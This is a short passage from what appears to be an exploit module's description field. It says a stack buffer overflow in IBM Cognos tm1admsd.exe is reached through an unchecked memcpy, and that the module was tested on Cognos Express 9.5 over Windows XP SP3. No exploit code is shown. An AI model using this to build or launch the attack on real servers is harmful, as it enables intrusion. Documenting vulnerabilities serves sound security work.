'Description' => %q{  
This module exploits a stack buffer overflow in IBM Cognos Analytic Server  
Admin service. The vulnerability exists in the tm1admsd.exe component, due to a  
dangerous copy of user controlled data to the stack, via memcpy, without validating  
the supplied length and data. The module has been tested successfully on IBM Cognos  
Express 9.5 over Windows XP SP3.
